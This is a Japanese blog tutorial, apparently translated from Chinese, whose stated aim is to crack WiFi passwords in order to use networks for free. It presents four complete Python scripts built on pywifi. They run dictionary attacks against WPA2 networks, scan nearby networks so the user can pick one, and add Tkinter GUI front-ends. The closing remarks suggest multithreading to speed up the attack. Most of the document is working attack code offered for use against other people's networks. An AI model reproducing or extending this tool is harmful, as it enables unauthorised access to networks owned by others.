前言
本文将记录学习下如何通过 Python スクリプトで WIFI パスワードのブルートフォース攻撃を実現し、無料でネットワークを利用する方法。
グラフィカルインターフェースなし#
まずはグラフィカルインターフェースのないブルートフォーススクリプトを見てみましょう。
WIFI ブルートフォース、無駄話はせずに直接コードを見てみましょう。理解できない初心者はコードを ChatGPT にコピーして、一行ずつ説明してもらうことができます。
import pywifi
from pywifi import const
import time
import datetime
# 接続テスト、接続結果を返す
def wifiConnect(pwd):
# ネットワークカードインターフェースを取得
wifi = pywifi.PyWiFi()
# 最初の無線ネットワークカードを取得
ifaces = wifi.interfaces()[0]
# すべての接続を切断
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# WiFi接続ファイルを作成
profile = pywifi.Profile()
# 接続するWiFiの名前
profile.ssid = "Tr0e"
# ネットワークカードのオープン状態
profile.auth = const.AUTH_ALG_OPEN
# wifi暗号化アルゴリズム、一般的にwifi暗号化アルゴリズムはwps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 暗号化ユニット
profile.cipher = const.CIPHER_TYPE_CCMP
# パスワードを呼び出す
profile.key = pwd
# すべての接続済みWiFiファイルを削除
ifaces.remove_all_network_profiles()
# 新しい接続ファイルを設定
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi接続時間
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("既にwifiに接続されています")
# パスワードリストを読み込む
def readPassword():
success = False
print("****************** WIFI破解 ******************")
# パスワードリストのパス
path = "pwd.txt"
# ファイルを開く
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline()
# パスワードの末尾の改行を削除
pwd = pwd.strip('\n')
bool = wifiConnect(pwd)
if bool:
print("[*] パスワードが解読されました:", pwd)
print("[*] WiFiに自動接続しました!!!")
success = True
break
else:
# 現在のループを抜けて次のループへ
print("SSID が %s の WIFI パスワードを解読中、現在検証中のパスワードは:%s"%("Tr0e",pwd))
except:
continue
end = datetime.datetime.now()
if(success):
print("[*] 今回のWIFIパスワード解読にかかった時間:{}".format(end - start))
else:
print("[*] 残念ながら指定されたWIFIのパスワードを解読できませんでした。パスワード辞書を変更して再試行してください!")
exit(0)
if __name__=="__main__":
readPassword()
コードの実行結果:
スクリプトの最適化
上記のスクリプトは WIFI 名とブルートフォース辞書のパスを内蔵しており、柔軟性に欠けます。以下で改造・最適化します:
import pywifi
import time
from pywifi import const
# WiFiスキャンモジュール
def wifi_scan():
# wifiを初期化
wifi = pywifi.PyWiFi()
# 最初の無線ネットワークカードを使用
interface = wifi.interfaces()[0]
# スキャンを開始
interface.scan()
for i in range(4):
time.sleep(1)
print('\r利用可能な WiFi をスキャン中です。しばらくお待ちください。。。(' + str(3 - i), end=')')
print('\rスキャン完了!\n' + '-' * 38)
print('\r{:4}{:6}{}'.format('番号', '信号強度', 'wifi名'))
# スキャン結果、scan_results()は各wifiオブジェクトを格納する集合を返す
bss = interface.scan_results()
# wifi名を格納する集合
wifi_name_set = set()
for w in bss:
# 文字化け問題を解決
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# リストに格納し、信号でソート
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# フォーマット出力
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
# wifiリストを返す
return wifi_name_list
# WIFI破解モジュール
def wifi_password_crack(wifi_name):
# 辞書のパス
wifi_dic_path = input("ローカルでWIFIブルートフォース攻撃に使用するパスワード辞書(txt形式、各パスワードは1行)のパスを入力してください:")
with open(wifi_dic_path, 'r') as f:
# パスワードをループ
for pwd in f:
# パスワードの末尾の改行を削除
pwd = pwd.strip('\n')
# wifiオブジェクトを作成
wifi = pywifi.PyWiFi()
# ネットワークカードオブジェクトを作成、最初のwifiネットワークカードのため
interface = wifi.interfaces()[0]
# すべてのwifi接続を切断
interface.disconnect()
# 切断を待つ
while interface.status() == 4:
# 接続状態のとき、ループで切断を待つ
pass
# 接続ファイル(オブジェクト)を作成
profile = pywifi.Profile()
# wifi名
profile.ssid = wifi_name
# 認証が必要
profile.auth = const.AUTH_ALG_OPEN
# wifiのデフォルト暗号化アルゴリズム
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# wifiパスワード
profile.key = pwd
# すべてのwifi接続ファイルを削除
interface.remove_all_network_profiles()
# 新しいwifi接続ファイルを設定
tmp_profile = interface.add_network_profile(profile)
# 接続を試みる
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# インターフェースの状態が4は接続成功を示す(試行時間が1.5秒を超えると誤ったパスワードとなる。テストによると正しいパスワードは一般的に1.5秒以内に接続される。精度を高めるために2秒以上に設定することができ、相応にブルートフォース速度は遅くなる)
if interface.status() == 4:
print(f'\r接続成功!パスワードは:{pwd}')
exit(0)
else:
print(f'\rパスワード {pwd} を使って解読を試みています。', end='')
# メイン関数
def main():
# 退出フラグ
exit_flag = 0
# 目標番号
target_num = -1
while not exit_flag:
try:
print('WiFi万能钥匙'.center(35, '-'))
# スキャンモジュールを呼び出し、ソートされたwifiリストを返す
wifi_list = wifi_scan()
# ユーザーに解読したいwifi番号を選択させ、ユーザー入力の番号を判断し、例外処理を行う
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('解読したいwifiを選択してください:'))
# 選択したwifi番号がリスト内にある場合、二次判断を続け、そうでない場合は再入力
if target_num in range(len(wifi_list)):
# 二次確認
while not choose_exit_flag:
try:
choose = str(input(f'解読したいWiFi名は:{wifi_list[target_num][1]}、確定しますか?(Y/N)'))
# ユーザー入力を小文字に処理し、判断
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
# ユーザーの他の文字入力を処理
else:
print('Y/N のみ入力できますよo(* ̄︶ ̄*)o')
# ユーザーの非アルファベット入力を処理
except ValueError:
print('Y/N のみ入力できますよo(* ̄︶ ̄*)o')
# 解読を終了
if choose_exit_flag == 1:
break
else:
print('再入力してくださいね(*^▽^*)')
except ValueError:
print('数字のみ入力できますよo(* ̄︶ ̄*)o')
# パスワード解読、ユーザーが選択したwifi名を渡す
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()
上記のコードは、信号強度に基づいて近くのすべての WIFI 名を列挙し、ユーザーがブルートフォース攻撃を行う必要がある WIFI を自ら選択できるようにし、さらにブルートフォース攻撃の辞書を柔軟に指定できるようにしました。相対的に体験感が大幅に向上しました。さらに、上記のスクリプトをパッケージ化して exe ファイルを生成し、ダブルクリックで実行すると、以下のような効果が得られます:
グラフィカルインターフェース#
次に、Python の GUI グラフィカルインターフェース開発ライブラリ Tkinter を基にして、上記のスクリプトを最適化し、使いやすい可視化された WIFI ブルートフォース攻撃ツールを実現します。Tkinter ライブラリの構文については、Python GUI プログラミング (Tkinter) を参照してください。
簡易版 UI
from tkinter import *
from pywifi import const
import pywifi
import time
# 主なステップ:
# 1、最初の無線ネットワークカードを取得
# 2、すべてのwifiを切断
# 3、パスワードリストを読み込む
# 4、スリープ時間を設定
def wificonnect(str, wifiname):
# ウィンドウの無線オブジェクト
wifi = pywifi.PyWiFi()
# 最初の無線ネットワークカードを取得
ifaces = wifi.interfaces()[0]
# すべてのwifiを切断
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
# wifi接続ファイルを作成
profile = pywifi.Profile()
profile.ssid = wifiname
# wifiの暗号化アルゴリズム
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# wifiのパスワード
profile.key = str
# ネットワークカードのオープン
profile.auth = const.AUTH_ALG_OPEN
# 暗号化ユニット、ここに暗号化ユニットを記入しないと接続できない
profile.cipher = const.CIPHER_TYPE_CCMP
# すべてのwifiファイルを削除
ifaces.remove_all_network_profiles()
# 新しい接続ファイルを設定
tep_profile = ifaces.add_network_profile(profile)
# 接続
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
# wifi名を取得
wifiname = entry.get().strip()
path = r'./pwd.txt'
file = open(path, 'r')
while True:
try:
# 読み込み
mystr = file.readline().strip()
# 接続テスト
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, 'パスワードが正しい' + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, 'パスワードが間違っています' + mystr)
text.see(END)
text.update()
except:
continue
# ウィンドウを作成
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# ラベル
label = Label(root, text='解読したいWIFI名を入力してください:')
# 配置
label.grid()
# 入力コントロール
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# リストコントロール
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# ボタン
button = Button(root, text='解読開始', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# ウィンドウを表示
root.mainloop()
スクリプトの実行結果:
UI アップグレード版#
上記のグラフィカルインターフェースではパスワード辞書を選択できないため、以下で最適化・アップグレードします:
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog # GUI でファイルブラウザを開く
import tkinter.messagebox # tkinter のメッセージボックスを開く
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
# パスワードファイルのパス
self.get_value = StringVar() # 可変内容を設定
# 解読するwifiアカウントを取得
self.get_wifi_value = StringVar()
# wifiパスワードを取得
self.get_wifimm_value = StringVar()
# ネットワークカードインターフェースを取得
self.wifi = pywifi.PyWiFi()
# 最初の無線ネットワークカードを取得
self.iface = self.wifi.interfaces()[0]
# 接続テスト、すべての接続を切断
self.iface.disconnect()
time.sleep(1) # 1秒スリープ
# ネットワークカードが切断状態であるかテスト
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
# 自動的に呼び出される関数、ネットワークカードを返す
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
# ウィンドウを設定
def set_init_window(self):
self.init_window_name.title("WIFI破解ツール")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="設定") # フレーム、以下のオブジェクトはlabelframeに追加される
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text="近くのWiFiを検索", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="解読開始", command=self.readPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text="ディレクトリパス:").grid(column=0, row=1)
self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
self.file = Button(labelframe, text="パスワードファイルのディレクトリを追加", command=self.add_mm_file).grid(column=2, row=1)
self.wifi_text = Label(labelframe, text="WiFiアカウント:").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFiパスワード:").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
self.wifi_labelframe = LabelFrame(text="wifiリスト")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
# ツリービューとスクロールバーを定義
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
# テーブルのタイトル
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="信号")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("<Double-1>", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)
# wifiを検索
def scans_wifi_list(self): # 周囲のwifiリストをスキャン
# スキャンを開始
print("^_^ 近くのwifiをスキャン中...")
self.iface.scan()
time.sleep(15)
# 数秒後にスキャン結果を取得
scanres = self.iface.scan_results()
# 近くで発見されたホットスポットの数をカウント
nums = len(scanres)
print("数量: %s" % (nums))
# 実際のデータ
self.show_scans_wifi_list(scanres)
return scanres
# wifiリストを表示
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
# パスワードファイルのディレクトリを追加
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
# Treeviewバインドイベント
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
# パスワード辞書を読み込み、一致させる
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander = open(self.getFilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
if self.bool1:
self.res = "[*] パスワードが正しい!wifi名:%s、マッチしたパスワード:%s " % (self.get_wifissid, self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('ヒント', '解読成功!!!')
print(self.res)
break
else:
self.res = "[*] パスワードが間違っています!wifi名:%s、マッチしたパスワード:%s" % (self.get_wifissid, self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue
# wifiとパスワードを一致させる
def connect(self, pwd_Str, wifi_ssid):
# wifi接続ファイルを作成
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid # wifi名
self.profile.auth = const.AUTH_ALG_OPEN # ネットワークカードのオープン
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi暗号化アルゴリズム
self.profile.cipher = const.CIPHER_TYPE_CCMP # 暗号化ユニット
self.profile.key = pwd_Str # パスワード
self.iface.remove_all_network_profiles() # すべてのwifiファイルを削除
self.tmp_profile = self.iface.add_network_profile(self.profile) # 新しい接続ファイルを設定
self.iface.connect(self.tmp_profile) # 接続
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 接続されているか判断
isOK = True
else:
isOK = False
self.iface.disconnect() # 切断
time.sleep(1)
# 切断状態をチェック
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()
スクリプトの実行結果は以下の通りです:
以上は Python の GUI グラフィカルインターフェース開発ライブラリ Tkinter に基づいており、実際には Python の GUI プログラミングは PyQt5 を利用して自動的に UI コードを生成することもできます。
まとめ
本文では Python による WIFI パスワードのブルートフォース攻撃の方法、および Python GUI グラフィカルプログラミングの基本的な使用法を学びました。
示されたコードの欠点は、いずれも WIFI 接続テストにマルチスレッドを使用していないことです。実際、WIFI 接続テストには一定の時間(3-5 秒)が必要であるため、マルチスレッドを使用することでブルートフォース攻撃プロセスの待機時間を短縮できます。